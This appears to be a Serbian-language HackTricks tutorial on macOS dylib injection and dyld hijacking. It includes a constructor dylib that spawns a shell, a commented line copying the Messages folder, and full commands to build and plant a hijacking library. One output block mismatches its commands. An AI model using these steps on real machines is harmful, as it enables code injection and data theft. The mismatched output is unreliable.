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189 lines
7 KiB
Markdown
189 lines
7 KiB
Markdown
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## DYLD\_INSERT\_LIBRARIES Osnovni primer
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**Biblioteka za injekciju** za izvršavanje shelle:
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```c
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// gcc -dynamiclib -o inject.dylib inject.c
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#include <syslog.h>
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#include <stdio.h>
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#include <unistd.h>
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#include <stdlib.h>
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__attribute__((constructor))
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void myconstructor(int argc, const char **argv)
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{
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syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
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printf("[+] dylib injected in %s\n", argv[0]);
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execv("/bin/bash", 0);
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//system("cp -r ~/Library/Messages/ /tmp/Messages/");
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}
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```
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Binary za napad:
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```c
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// gcc hello.c -o hello
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#include <stdio.h>
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int main()
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{
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printf("Hello, World!\n");
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return 0;
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}
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```
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Injection:
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```bash
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DYLD_INSERT_LIBRARIES=inject.dylib ./hello
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```
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## Dyld Hijacking Example
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Ciljani ranjivi binarni fajl je `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
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{% tabs %}
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{% tab title="entitlements" %}
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<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
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<strong>[...]com.apple.security.cs.disable-library-validation[...]
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</strong></code></pre>
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{% endtab %}
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{% tab title="LC_RPATH" %}
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{% code overflow="wrap" %}
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```bash
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# Check where are the @rpath locations
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otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
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cmd LC_RPATH
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cmdsize 32
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path @loader_path/. (offset 12)
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--
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cmd LC_RPATH
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cmdsize 32
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path @loader_path/../lib2 (offset 12)
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```
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{% endcode %}
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{% endtab %}
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{% tab title="@rpath" %}
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{% code overflow="wrap" %}
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```bash
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# Check librareis loaded using @rapth and the used versions
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otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
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name @rpath/lib.dylib (offset 24)
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time stamp 2 Thu Jan 1 01:00:02 1970
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current version 1.0.0
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compatibility version 1.0.0
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# Check the versions
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```
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{% endcode %}
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{% endtab %}
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{% endtabs %}
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Sa prethodnim informacijama znamo da **ne proverava potpis učitanih biblioteka** i da **pokušava da učita biblioteku iz**:
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* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
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* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
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Međutim, prva ne postoji:
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```bash
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pwd
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/Applications/VulnDyld.app
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find ./ -name lib.dylib
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./Contents/Resources/lib2/lib.dylib
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```
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Dakle, moguće je preuzeti kontrolu! Kreirajte biblioteku koja **izvršava neki proizvoljni kod i izvozi iste funkcionalnosti** kao legitimna biblioteka ponovnim izvozom. I zapamtite da je kompajlirate sa očekivanim verzijama:
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{% code title="lib.m" %}
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```objectivec
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#import <Foundation/Foundation.h>
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__attribute__((constructor))
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void custom(int argc, const char **argv) {
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NSLog(@"[+] dylib hijacked in %s", argv[0]);
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}
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```
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{% endcode %}
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Sastavite to:
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{% code overflow="wrap" %}
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```bash
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gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
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# Note the versions and the reexport
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```
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{% endcode %}
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Putanja reeksporta kreirana u biblioteci je relativna prema učitavaču, hajde da je promenimo u apsolutnu putanju do biblioteke za izvoz:
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{% code overflow="wrap" %}
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```bash
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#Check relative
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otool -l /tmp/lib.dylib| grep REEXPORT -A 2
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cmd LC_REEXPORT_DYLIB
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cmdsize 48
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name @rpath/libjli.dylib (offset 24)
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#Change the location of the library absolute to absolute path
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install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
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# Check again
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otool -l /tmp/lib.dylib| grep REEXPORT -A 2
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cmd LC_REEXPORT_DYLIB
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cmdsize 128
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name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
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```
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{% endcode %}
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Na kraju, jednostavno ga kopirajte na **otetu lokaciju**:
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{% code overflow="wrap" %}
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```bash
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cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
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```
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{% endcode %}
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I **izvršite** binarni fajl i proverite da li je **biblioteka učitana**:
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<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
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<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib je otet u /Applications/VulnDyld.app/Contents/Resources/lib/binary
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</strong>Upotreba: [...]
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</code></pre>
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{% hint style="info" %}
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Lep članak o tome kako iskoristiti ovu ranjivost za zloupotrebu dozvola za kameru u telegramu može se naći na [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
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{% endhint %}
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## Veća razmera
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Ako planirate da pokušate da injektujete biblioteke u neočekivane binarne fajlove, možete proveriti poruke događaja da biste saznali kada se biblioteka učitava unutar procesa (u ovom slučaju uklonite printf i izvršavanje `/bin/bash`).
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```bash
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sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
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```
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{% hint style="success" %}
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Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Podržite HackTricks</summary>
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* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
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* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
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</details>
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{% endhint %}
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